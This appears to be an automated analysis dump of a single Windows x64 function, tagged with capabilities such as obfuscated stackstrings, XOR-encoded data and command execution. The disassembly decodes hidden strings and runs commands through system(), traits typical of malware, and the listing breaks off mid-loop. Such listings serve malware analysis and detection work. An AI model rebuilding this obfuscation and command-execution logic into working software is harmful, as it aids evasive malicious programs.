Function at 0x14002e1a0
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Encode data using xor
Execute command
Resolve function by parsing pe exports

Disassembly:
mov qword ss:[rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push r13
push r14
push r15
sub rsp, 0x6b0
mov rax, qword [0x1401c67c0]
xor rax, rsp
mov qword [rsp + 0x6a0], rax
xor r14d, r14d
lea rcx, str.tar___version__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
test eax, eax
jne 0x140032b46
mov dword [rsp + 0x50], 0x724f5c28
mov dword [rsp + 0x54], 0x746962
mov rdx, qword [0x1401c6948]
lea rax, [rsp + 0x51]
mov r15, 0xffffffffffffffff
mov rcx, r15
inc rcx
cmp byte [rax + rcx], r14b
jne 0x14002e214
movabs rsi, 0x7fffffffffffffff
mov rax, rsi
sub rax, rdx
cmp rax, rcx
jb 0x140032b5f
lea r13, [0x1401c6938]
mov r9, r13
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova r9, qword [0x1401c6938]
mov qword [rsp + 0x30], rcx
lea rax, [rsp + 0x51]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0x58]
call fcn.140026cc0
nop
lea rcx, [rsp + 0x58]
call fcn.14002dfa0
movzx ebx, al
lea rcx, [rsp + 0x58]
call fcn.1400041e0
test bl, bl
jne 0x14002e385
mov dword [rsp + 0x50], 0x724f5c2e
mov dword [rsp + 0x54], 0x746962
mov rdx, qword [0x1401c6948]
lea rax, [rsp + 0x51]
mov rcx, r15
nop dword [rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x14002e2b0
mov rax, rsi
sub rax, rdx
cmp rax, rcx
jb 0x140032b66
mov r9, r13
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova r9, qword [0x1401c6938]
mov qword [rsp + 0x30], rcx
lea rax, [rsp + 0x51]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0x58]
call fcn.140026cc0
nop
mov rdi, qword [rsp + 0x68]
lea rbx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0xf
cmova rbx, qword [rsp + 0x58]
call fcn.1401032b0
mov qword [rsp + 0x320], rbx
mov qword [rsp + 0x328], rdi
lea r8, [rsp + 0x320]
mov edx, eax
lea rcx, [rsp + 0x80]
call fcn.140005960
nop
lea rcx, [rsp + 0x80]
cmp qword [rsp + 0x98], 7
cmova rcx, qword [rsp + 0x80]
call fcn.140103510
mov rdx, rax
shr rax, 0x20
test eax, eax
jne 0x140032b6c
lea rcx, [rsp + 0x80]
call fcn.140004160
nop
lea rcx, [rsp + 0x58]
call fcn.1400041e0
movdqa xmm0, xmmword [0x1401a79a0]
movdqu xmmword [rsp + 0xa0], xmm0
movdqa xmm1, xmmword [0x1401a7990]
movdqu xmmword [rsp + 0xb0], xmm1
mov dword [rsp + 0xc0], 0x2e747369
mov dword [rsp + 0xc4], 0x676572
mov rdx, qword [0x1401c6948]
lea rax, [rsp + 0xa1]
mov rcx, r15
nop
inc rcx
cmp byte [rax + rcx], 0
jne 0x14002e3d0
mov rax, rsi
sub rax, rdx
cmp rax, rcx
jb 0x140032b86
mov r9, r13
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova r9, qword [0x1401c6938]
mov qword [rsp + 0x30], rcx
lea rax, [rsp + 0xa1]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0x58]
call fcn.140026cc0
nop
mov rdi, qword [rsp + 0x68]
lea rbx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0xf
cmova rbx, qword [rsp + 0x58]
call fcn.1401032b0
mov qword ds:[rsp + 0x320], rbx
mov qword [rsp + 0x328], rdi
lea r8, [rsp + 0x320]
mov edx, eax
lea rcx, [rsp + 0x80]
call fcn.140005960
nop
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x680]
call fcn.1400072c0
movsd xmm0, qword [rax]
movsd qword [rsp + 0x100], xmm0
mov ecx, dword [rax + 8]
mov dword [rsp + 0x320], ecx
lea r12, [0x1401c68e0]
mov qword [rsp + 0x328], r12
movaps xmm0, xmmword [rsp + 0x320]
movdqa xmmword [rsp + 0x320], xmm0
mov eax, dword [rsp + 0x100]
test eax, eax
je 0x14002e522
cmp eax, 1
setne bl
lea rcx, [rsp + 0x80]
call fcn.140004160
nop
lea rcx, [rsp + 0x58]
call fcn.1400041e0
nop dword [rax + rax]
test bl, bl
je 0x14002e5d0
mov dword [rsp + 0x50], 0x724f5c7a
mov dword [rsp + 0x54], 0x746962
mov rdx, qword [0x1401c6948]
lea rax, [rsp + 0x51]
mov rcx, r15
inc rcx
cmp byte [rax + rcx], 0
jne 0x14002e507
mov rax, rsi
sub rax, rdx
cmp rax, rcx
jb 0x140032b8c
nop
jmp 0x14002e52e
xor bl, bl
test ecx, ecx
jne 0x140032b92
jmp 0x14002e4c3
mov r9, r13
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova r9, qword [0x1401c6938]
mov qword [rsp + 0x30], rcx
lea rax, [rsp + 0x51]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0x58]
call fcn.140026cc0
nop
mov rdi, qword [rsp + 0x68]
lea rbx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0xf
cmova rbx, qword [rsp + 0x58]
call fcn.1401032b0
mov qword ds:[rsp + 0x320], rbx
mov qword [rsp + 0x328], rdi
lea r8, [rsp + 0x320]
mov edx, eax
lea rcx, [rsp + 0x80]
call fcn.140005960
nop
lea rcx, [rsp + 0x80]
call fcn.14002b1c0
nop
lea rcx, [rsp + 0x80]
call fcn.140004160
nop
lea rcx, [rsp + 0x58]
call fcn.1400041e0
movdqa xmm0, xmmword [0x1401a7960]
movdqu xmmword [rsp + 0x58], xmm0
mov dword [rsp + 0x68], 0x65706c65
mov dword [rsp + 0x6c], 0x78742e72
mov word [rsp + 0x70], reloc.WS2_32.dll_WSACleanup
mov rdx, qword [0x1401c6948]
lea rax, [rsp + 0x59]
mov rcx, r15
inc rcx
cmp byte [rax + rcx], 0
jne 0x14002e604
mov rax, rsi
sub rax, rdx
cmp rax, rcx
jb 0x140032baf
mov r9, r13
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova r9, qword [0x1401c6938]
mov qword [rsp + 0x30], rcx
lea rax, [rsp + 0x59]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0x80]
call fcn.140026cc0
mov rdx, qword [reloc.WS2_32.dll_ntohs]
cmp rdx, 0xf
jbe 0x14002e692
mov rcx, qword [0x1401c6970]
inc rdx
cmp rdx, 0x1000
jb 0x14002e68d
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14002e72b
mov rcx, r8
call fcn.1401042cc
movups xmm0, xmmword [rsp + 0x80]
movups xmmword [0x1401c6970], xmm0
movups xmm1, xmmword [rsp + 0x90]
movups xmmword [0x1401c6980], xmm1
movdqa xmm0, xmmword [0x1401a7650]
movdqu xmmword [rsp + 0x90], xmm0
mov byte [rsp + 0x80], 0
lea rcx, [rsp + 0x80]
call fcn.1400041e0
movdqa xmm0, xmmword [0x1401a7a50]
movdqu xmmword [rsp + 0x58], xmm0
mov dword [rsp + 0x68], 0x6f697372
mov dword [rsp + 0x6c], 0x78742e6e
mov word [rsp + 0x70], reloc.WS2_32.dll_WSACleanup
mov rdx, qword [0x1401c6948]
lea rax, [rsp + 0x59]
mov rcx, r15
nop word [rax + rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x14002e710
mov rax, rsi
sub rax, rdx
cmp rax, rcx
jb 0x140032bb5
jmp 0x14002e732
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov r9, r13
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova r9, qword [0x1401c6938]
mov qword [rsp + 0x30], rcx
lea rax, [rsp + 0x59]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0x80]
call fcn.140026cc0
nop
mov rdi, qword [rsp + 0x90]
lea rbx, [rsp + 0x80]
cmp qword [rsp + 0x98], 0xf
cmova rbx, qword [rsp + 0x80]
call fcn.1401032b0
mov qword [rsp + 0x320], rbx
mov qword [rsp + 0x328], rdi
lea r8, [rsp + 0x320]
mov edx, eax
lea rcx, [rsp + 0x3a0]
call fcn.140005960
nop
lea rdx, [rsp + 0x3a0]
lea rcx, [rsp + 0x680]
call fcn.1400072c0
movsd xmm0, qword [rax]
movsd qword [rsp + 0x100], xmm0
mov ecx, dword [rax + 8]
mov dword [rsp + 0x320], ecx
mov qword [rsp + 0x328], r12
movaps xmm0, xmmword [rsp + 0x320]
movdqa xmmword [rsp + 0x320], xmm0
mov eax, dword [rsp + 0x100]
test eax, eax
je 0x14002e89a
cmp eax, 1
sete bl
lea rcx, [rsp + 0x3a0]
call fcn.140004160
nop
lea rcx, [rsp + 0x80]
call fcn.1400041e0
test bl, bl
je 0x14002e9b3
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x570]
call sub.VCRUNTIME140.dll_memset
movdqa xmm0, xmmword [0x1401a7a70]
movdqu xmmword [rsp + 0x58], xmm0
mov dword [rsp + 0x68], 0x6f697372
mov dword [rsp + 0x6c], 0x78742e6e
mov word [rsp + 0x70], reloc.WS2_32.dll_WSACleanup
mov rdx, qword [0x1401c6948]
lea rax, [rsp + 0x59]
mov rcx, r15
nop dword [rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x14002e880
mov rax, rsi
sub rax, rdx
cmp rax, rcx
jb 0x140032bbb
jmp 0x14002e8ad
mov bl, 1
test ecx, ecx
jne 0x140032bc6
jmp 0x14002e810
mov r9, r13
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova r9, qword [0x1401c6938]
mov qword [rsp + 0x30], rcx
lea rax, [rsp + 0x59]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0x80]
call fcn.140026cc0
nop
lea rdx, [rsp + 0x80]
cmp qword [rsp + 0x98], 0xf
cmova rdx, qword [rsp + 0x80]
lea rcx, [rsp + 0x570]
call fcn.140021320
mov rax, qword [rsp + 0x570]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x570], rax
mov rax, qword [rsp + 0x570]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x56c], edx
lea rcx, [rsp + 0x80]
call fcn.1400041e0
cmp qword [rsp + 0x5f8], 0
jne 0x14002e997
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, [rsp + 0x130]
call fcn.140033090
lea rdx, [rax + 1]
mov r9, rdx
mov r10d, 0xad
nop word [rax + rax]
movzx r8d, byte [rax]
xor byte [r9], r8b
lea r9, [r9 + 1]
sub r10, 1
je 0x140032be6
jmp 0x14002e980
lea rcx, ds:[rsp + 0x570]
call fcn.140021280
nop
lea rcx, [rsp + 0x570]
call fcn.140009760
xor edx, edx
mov r8d, 0x110
lea rcx, [rsp + 0x200]
call sub.VCRUNTIME140.dll_memset
movdqa xmm0, xmmword [0x1401a7a60]
movdqu xmmword [rsp + 0x58], xmm0
mov dword [rsp + 0x68], 0x6f697372
mov dword [rsp + 0x6c], 0x78742e6e
mov word [rsp + 0x70], reloc.WS2_32.dll_WSACleanup
mov rdx, qword [0x1401c6948]
lea rax, [rsp + 0x59]
mov rcx, r15
nop dword [rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x14002ea00
mov rax, rsi
sub rax, rdx
cmp rax, rcx
jb 0x140032c0c
mov r9, r13
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova r9, qword [0x1401c6938]
mov qword [rsp + 0x30], rcx
lea rax, [rsp + 0x59]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0x80]
call fcn.140026cc0
nop
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x200]
call fcn.14001ffa0
nop
lea rcx, [rsp + 0x80]
call fcn.1400041e0
mov rax, qword [rsp + 0x200]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x200]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator__void_const___ptr64]
test al, al
jne 0x140032c12
xorps xmm0, xmm0
movups xmmword [rsp + 0x3d8], xmm0
mov qword [rsp + 0x3e8], r14
mov qword [rsp + 0x3f0], 0xf
mov byte [rsp + 0x3d8], 0
movups xmmword [rsp + 0x3f8], xmm0
mov qword [rsp + 0x408], r14
mov qword [rsp + 0x410], r14
xor r8d, r8d
lea rdx, [0x14019dfd6]
lea rcx, [rsp + 0x3f8]
call fcn.140007de0
nop
mov rax, qword [rsp + 0x200]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x200]
add rcx, rax
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const___ptr64]
movzx r8d, al
lea rdx, [rsp + 0x3d8]
lea rcx, [rsp + 0x200]
call fcn.140027040
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x14002ebbb
nop
lea rdx, [rsp + 0x3d8]
cmp qword [rsp + 0x3f0], 0xf
cmova rdx, qword [rsp + 0x3d8]
mov r8, qword [rsp + 0x3e8]
lea rcx, [rsp + 0x3f8]
call fcn.140023740
mov rax, qword [rsp + 0x200]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x200]
add rcx, rax
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const___ptr64]
movzx r8d, al
lea rdx, [rsp + 0x3d8]
lea rcx, [rsp + 0x200]
call fcn.140027040
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x14002eb40
lea rcx, [rsp + 0x210]
call fcn.140022ca0
test rax, rax
jne 0x14002ebf1
mov rax, qword [rsp + 0x200]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x200]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
xorps xmm0, xmm0
movups xmmword [rsp + 0x418], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x428], xmm1
xor r8d, r8d
lea rdx, [0x14019dfd6]
lea rcx, [rsp + 0x418]
call fcn.140007de0
nop
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x3c0], xmm1
mov qword [rsp + 0x3d0], r14
lea rcx, [rsp + 0x3f8]
cmp qword [rsp + 0x410], 0xf
cmova rcx, qword [rsp + 0x3f8]
mov r8, qword [rsp + 0x408]
test r8, r8
jne 0x14002f030
lea rdx, [0x14019dfd6]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14002f030
mov eax, dword [0x1401c8e90]
nop dword [rax]
cmp eax, 0x4a65
jne 0x14002ec96
lea rdx, [rsp + 0x320]
call fcn.140033240
jmp 0x14002ecaa
cmp eax, 0x5867
jne 0x14002ecff
lea rdx, [rsp + 0x320]
call fcn.140033260
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
mov byte [rdx + 0xe], 0
lea rcx, [rsp + 0x418]
call fcn.140022690
jmp 0x14002f123
lea rcx, [rsp + 0x570]
call fcn.1400097d0
lea rdx, [rsp + 0x58]
call fcn.140033280
lea r8, [rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
xor byte [rax + 0x15], dl
xor byte [rax + 0x16], dl
xor byte [rax + 0x17], dl
xor byte [rax + 0x18], dl
mov byte [r8 + 0x18], 0
mov rdx, r13
lea rcx, [rsp + 0x80]
call fcn.140023e50
nop
mov rdx, rax
lea rcx, [rsp + 0x570]
call fcn.1400212c0
nop
lea rcx, [rsp + 0x80]
call fcn.1400041e0
cmp qword [rsp + 0x5f8], 0
je 0x140032ccc
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rsp + 0x130]
call fcn.140033360
mov r9, r14
lea rdx, [rax + 1]
nop dword [rax]
nop word [rax + rax]
movzx r8d, byte ds:[rdx + r9]
xor r8b, byte [rax]
mov byte [rdx + r9], r8b
inc r9
cmp r9, 0x95
jb 0x14002edd0
mov byte [rdx + 0x95], 0
call fcn.140004600
lea rdx, [0x14019dfd6]
lea rcx, [rsp + 0x3a0]
call fcn.140007da0
nop
lea rdx, [rsp + 0x3a0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.14003ee40
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov word [rsp + 0x310], 0x3028
mov byte [rsp + 0x312], 0
lea rdx, [rsp + 0x311]
lea rcx, [rsp + 0x3a0]
call fcn.140024300
test al, al
je 0x14002eecd
mov dword [0x1401c8e90], 0x4a65
lea rdx, [rsp + 0x320]
call fcn.140033490
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
mov byte [rdx + 0xe], 0
lea rcx, [rsp + 0x418]
call fcn.140022690
lea rdx, [rsp + 0x320]
call fcn.1400334b0
jmp 0x14002ef70
mov word [rsp + 0x310], 0x3136
mov byte [rsp + 0x312], 0
lea rdx, [rsp + 0x311]
lea rcx, [rsp + 0x3a0]
call fcn.140024300
test al, al
je 0x140032e4f
lea rdx, [rsp + 0x320]
call fcn.1400334d0
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
mov byte [rdx + 0xe], 0
lea rcx, [rsp + 0x418]
call fcn.140022690
mov dword [0x1401c8e90], 0x5867
lea rdx, [rsp + 0x320]
call fcn.1400334f0
lea rdx, ds:[rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
mov byte [rdx + 0xe], 0
lea rcx, [rsp + 0x570]
call fcn.140004600
lea rdx, [0x1400047e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, ds:[rsp + 0x570]
call fcn.140021280
lea rdx, [rsp + 0x310]
call fcn.140033540
lea rcx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rcx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
mov byte [rcx + 3], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
lea rcx, [rsp + 0x3a0]
call fcn.1400041e0
nop
lea rcx, [rsp + 0x570]
call fcn.140009760
jmp 0x14002f123
lea rdx, [rsp + 0x3f8]
lea rcx, [rsp + 0x418]
call fcn.1400226b0
lea rdx, [rsp + 0x320]
call fcn.140033550
lea rdx, ds:[rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
mov byte [rdx + 0xe], 0
lea rcx, [rsp + 0x3f8]
call fcn.140024300
test al, al
je 0x14002f0b5
mov dword [0x1401c8e90], 0x5867
jmp 0x14002f123
lea rdx, ds:[rsp + 0x320]
call fcn.140033570
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
mov byte [rdx + 0xe], 0
lea rcx, [rsp + 0x3f8]
call fcn.140024300
test al, al
je 0x14002f123
mov dword [0x1401c8e90], 0x4a65
movdqa xmm0, xmmword [0x1401a79e0]
movdqu xmmword [rsp + 0x80], xmm0
mov dword [rsp + 0x90], 0x74616470
mov word [rsp + 0x94], 0x61
mov rdx, qword [0x1401c6948]
lea rax, [rsp + 0x81]
mov rcx, r15
nop dword [rax + rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x14002f160
mov rax, rsi
sub rax, rdx
cmp rax, rcx
jb 0x140032ebf
mov r9, r13
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova r9, qword [0x1401c6938]
mov qword [rsp + 0x30], rcx
lea rax, [rsp + 0x81]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0x58]
call fcn.140026cc0
nop
lea rcx, [rsp + 0x58]
call fcn.14002dfa0
movzx ebx, al
lea rcx, [rsp + 0x58]
call fcn.1400041e0
test bl, bl
jne 0x14002f338
lea rdx, [rsp + 0x50]
call fcn.140033590
lea r8, ds:[rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
mov byte [r8 + 6], bl
mov rdx, r13
lea rcx, [rsp + 0x58]
call fcn.140023e50
nop
mov rcx, rax
call fcn.14002dfa0
movzx ebx, al
lea rcx, [rsp + 0x58]
call fcn.1400041e0
test bl, bl
jne 0x14002f291
lea rdx, [rsp + 0x50]
call fcn.1400335b0
lea r8, [rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
mov byte [r8 + 6], bl
mov rdx, r13
lea rcx, [rsp + 0x58]
call fcn.140023e50
nop
mov rdx, rax
lea rcx, [rsp + 0x80]
call fcn.140024360
nop
lea rcx, [rsp + 0x80]
call fcn.14002af20
nop
lea rcx, [rsp + 0x80]
call fcn.140004160
nop
lea rcx, [rsp + 0x58]
call fcn.1400041e0
nop
lea rdx, [rsp + 0x80]
call fcn.1400335d0
lea r8, [rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
mov byte [r8 + 0x14], 0
mov rdx, r13
lea rcx, [rsp + 0x58]
call fcn.140023e50
nop
mov rdx, rax
lea rcx, [rsp + 0x3a0]
call fcn.140024360
nop
lea rcx, [rsp + 0x3a0]
call fcn.14002af20
movzx ebx, al
lea rcx, [rsp + 0x3a0]
call fcn.140004160
nop
lea rcx, [rsp + 0x58]
call fcn.1400041e0
test bl, bl
je 0x14002f69d
movdqa xmm0, xmmword [0x1401a7a30]
movdqu xmmword [rsp + 0x58], xmm0
movdqa xmm1, xmmword [str.ons_Regular.ttf]
movdqu xmmword [rsp + 0x68], xmm1
mov rdx, qword [0x1401c6948]
lea rax, [rsp + 0x59]
mov rcx, r15
inc rcx
cmp byte [rax + rcx], 0
jne 0x14002f363
mov rax, rsi
sub rax, rdx
cmp rax, rcx
jb 0x140032b3c
mov r9, r13
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova r9, qword [0x1401c6938]
mov qword [rsp + 0x30], rcx
lea rax, [rsp + 0x59]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0xa0]
call fcn.140026cc0
nop
movdqa xmm0, xmmword [0x1401a7af0]
movdqa xmmword [rsp + 0x340], xmm0
movdqa xmm1, xmmword [str.__o]
movdqa xmmword [rsp + 0x350], xmm1
movdqa xmm0, xmmword [0x1401a7800]
movdqa xmmword [rsp + 0x360], xmm0
movdqa xmm1, xmmword [0x1401a7810]
movdqa xmmword [rsp + 0x370], xmm1
movdqa xmm0, xmmword [0x1401a7870]
movdqa xmmword [rsp + 0x380], xmm0
mov word [rsp + 0x390], 0x2634
mov byte [rsp + 0x392], 0
mov rcx, r14
nop word [rax + rax]
movzx eax, byte ds:[rsp + 0x340]
xor byte [rsp + rcx + 0x341], al
movzx eax, byte [rsp + 0x340]
xor byte [rsp + rcx + 0x342], al
movzx eax, byte [rsp + 0x340]
xor byte [rsp + rcx + 0x343], al
movzx eax, byte [rsp + 0x340]
xor byte [rsp + rcx + 0x344], al
movzx eax, byte [rsp + 0x340]
xor byte [rsp + rcx + 0x345], al
movzx eax, byte [rsp + 0x340]
xor byte [rsp + rcx + 0x346], al
movzx eax, byte [rsp + 0x340]
xor byte [rsp + rcx + 0x347], al
movzx eax, byte [rsp + 0x340]
xor byte [rsp + rcx + 0x348], al
movzx eax, byte [rsp + 0x340]
xor byte [rsp + rcx + 0x349], al
movzx eax, byte [rsp + 0x340]
xor byte [rsp + rcx + 0x34a], al
movzx eax, byte [rsp + 0x340]
xor byte [rsp + rcx + 0x34b], al
movzx eax, byte [rsp + 0x340]
xor byte [rsp + rcx + 0x34c], al
movzx eax, byte [rsp + 0x340]
xor byte [rsp + rcx + 0x34d], al
movzx eax, byte [rsp + 0x340]
xor byte [rsp + rcx + 0x34e], al
movzx eax, byte [rsp + 0x340]
xor byte [rsp + rcx + 0x34f], al
movzx eax, byte [rsp + 0x340]
xor byte [rsp + rcx + 0x350], al
movzx eax, byte [rsp + 0x340]
xor byte [rsp + rcx + 0x351], al
movzx eax, byte [rsp + 0x340]
xor byte [rsp + rcx + 0x352], al
movzx eax, byte [rsp + 0x340]
xor byte [rsp + rcx + 0x353], al
movzx eax, byte [rsp + 0x340]
xor byte [rsp + rcx + 0x354], al
movzx eax, byte [rsp + 0x340]
xor byte [rsp + rcx + 0x355], al
movzx eax, byte [rsp + 0x340]
xor byte [rsp + rcx + 0x356], al
movzx eax, byte [rsp + 0x340]
xor byte [rsp + rcx + 0x357], al
movzx eax, byte [rsp + 0x340]
xor byte [rsp + rcx + 0x358], al
movzx eax, byte [rsp + 0x340]
xor byte [rsp + rcx + 0x359], al
movzx eax, byte [rsp + 0x340]
